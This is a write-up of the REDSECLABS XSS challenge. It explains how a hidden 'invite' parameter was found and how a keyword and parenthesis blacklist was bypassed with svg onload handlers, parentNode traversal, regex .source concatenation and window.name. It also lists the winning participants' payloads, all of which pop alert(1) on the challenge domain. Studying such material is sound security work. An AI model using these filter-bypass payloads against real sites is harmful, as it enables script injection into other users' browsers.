REDSECLABS XSS Challenge Solution – Writeup
On 30th August 2024, we released REDSECLABS XSS Challenge for the Infosec and bug bounty community, the challenge was to trigger bypass keyword Based filter and trigger DOM Based XSS to execute alert(1) in the context of challenge Domain. However, it was not as straight forward as it seems to be and without understanding the context, ChatGPT and XSS Cheat sheets are not of much help here.
Challenge Setup
To make lives of the participants difficult, we induced the following difficulties:
- We blacklisted “alert”, “prompt”, “document”, “write” keywords.
- We blacklisted open & closed parenthesis.
- We blacklisted most of the attributes used to execute javascript such as src, formaction, action etc.
- We blacklisted Window global object and several others such as “GlobalThis”, “Top”, “self” etc to reference
Hints
During the course of challenge, we released two hints:
- The UI is full of distractions, you need to analyze the client-side source code and find the injection parameter.
- With approximately 24 hours remaining until the challenge ends, I would like to share the name of the injection parameter: "invite"
Rewards:
-
Fastest Solution: The first paperback copy of Web Hacking Arsenal will be awarded to the person who solves the challenge in the shortest time.
-
Shortest Payload: The second copy will be awarded to the person with the shortest payload.
-
Unintended Solution: The third copy will be given for an innovative solution that differs from the intended one.
-
Additional Conditions: In case one person finds all three solutions, the rewards will go to the next best submissions in each category. Each participant can win only one book.
Challenge Solution
Now let’s discuss how to the solve the challenge, the first step as highlighted from the hint is to find the hidden parameter.
Part 1: Finding the hidden parameter
The string contains hexadecimal-encoded strings, each element represent strings of hexadecimal pairs.
The hexadecimal escape sequences represent ASCII characters, and when combined, they form a string that resembles an MD5 hash.
The MD5 hash was set to be as such that any reverse hash lookup site would be able to guess the parameter.
The code, checks if the parameter name hash matches the one stored in md5 and sets the necessary variables and injects it in to the DOM via InnerHTML property resulting in DOM XSS.
Part 2: Bypassing the Keyword Based Filter
The regex was self-explanatory and had comments for the type of keywords and characters that were filtered.
The keyword did filter some event handlers, such as “onclick” but a wide variety of other event handlers were not filtered. In such cases, we can use the “onload” parameter. Additionally, the filter mainly targets attributes rather than HTML tags, which would mean we can make use of tags like <svg>
and <body>
.
Example:
https://xss.redseclabs[.]com/?invite=<svg/onload=>
The response reveals, the payload being embedded into the DOM.
Next, since, location keyword is blacklisted along with keywords such as Window, Self, parent etc which would be required to reference the location object and concatenate it at same time. While there are couple of properties that can be used to accomplish the same, however one such property is "ParentNode", which allows you to access the node that is directly above the current node.
Example
https://xss.redseclabs[.]com/?invite=<svg/onload=ParentNode[]>
This will allow us to concatenate “location” object, since single quotes, double quotes etc are blocked, we can make use of the “source” property.
Example
https://xss.redseclabs[.]com/?invite=<svg/onload=ParentNode[/locatio/.source%2b/n/.source]>
Now, we have reference to the location object, all we must do is to set the “window.name” property which can be represented as “name” shorthand. An interesting aspect about this property is the fact that it persists cross page reloads, redirects, and even across navigations to different origins (domains).
Example
https://xss.redseclabs.com/?invite=<svg/onload=ParentNode[/locatio/.source%2b/n/.source]=name>
Example
<iframe name="javascript:alert(1)" src="https://xss.redseclabs.com/?invite=<svg/onload=ParentNode[/locatio/.source%2b/n/.source]=name>">
Note: Even with Iframe disabled there are plenty of methods to set name property cross origin, this will be revealed during next section in solutions.
The idea is that when the page would reload, the location object will be set to name property which contains our JavaScript code to be executed. However, there is a small problem with this which will still prevent execution of JavaScript. The "parentNode" property, allows you to access the node that is directly above the current node in DOM Tree. Hence, we would need to keep traversing parentNode to walk up the document and modify properties is a method to inject our JavaScript.
Example
<iframe name="javascript:alert(1)" src='https://xss.redseclabs.com/?invite=><svg/onload=parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode%5B/locatio/.source%2b/n/.source%5D=name>'>
In this case, it requires traversal of 9 levels of “parentNode” traversal are used to set property on ancestor node.
Solutions from Participants
Category: Unintended
Soroush came with an unintended solution due to a mistake in regular expression which was not blocking “&” character. The solution was accepted, and regex was modified to finally effectively block this character.
Solution
<svg/onload=%26%2397lert%26%2396;1%26%2396>
2. Jakub Żoczek
Category: Fastest
Since, the unintended solution slot was already consumed, the next in line were fastest and shortest. Jakub came up with the fastest solution. He used “frames” object as alternative of window object to access the location property and finally setting it to the name property to execute JavaScript.
Characters: 57
Solution
<svg%20part=on%20id=locati%20onload=frames[id%2Bpart]=name>
Category: Shortest
Abdul Aziz utilized frames property to access location object and execute JavaScript. In doing so, he was able to achieve it within the shortest number of characters.
Characters: 55 characters
Solution
<svg/onload=frames[/locatio/.source%2b/n/.source]=name>
4. Frans Rosen
Frans Rosen utilized complex dynamic JavaScript constructions and concatenations to solve the challenge. The solution was unintended as it exploited the existing library md5-js and used string concatenations to extract restricted characters from the MD5 library code.
Characters: 327
Solution
<svg%20onload=c=md5%2b0;a=http://event.target;b=a.outerHTML;a.parentNode[/innerH/.source%2b/TML/.source]=b[0]%2bc[5]%2b/frame/.source%2bb[4]%2b/sr/.source%2b/c=javasc/.source%2b/ript/.source%2ba.baseURI[5]%2b/aler/.source%2b/t/.source%2bc[10]%2b1%2bc[14]%2bb[b.length-1]%2bb[0]%2bb[90]%2bb[71]%2b/frame/.source%2bb[b.length-1]>
5. Rakesh Mane
Rakesh mane came up with an identical solution as Abdul Aziz Khan.
Characters: 55 characters
Solution
<svg/onload=frames[/locatio/.source%2b/n/.source]=name>
Winners
Based upon the challenge rules, the following individuals have been declared as winners:
1. Soroush Dallili (Unitended)
2. Jakub Żoczek (Fastest)
3. Abdul Aziz Khan (Shortest)
A paperback copy of the book “Web Hacking Arsenal” will be shipped to the winners.
Credits
I would like to thank @PrakharPrasad who co-developed this interesting XSS Challenge with me.
Sponsors
I would like to thank @Gabriella from CRCPress, who was kind enough to sponsor 3 copies of the book to winners.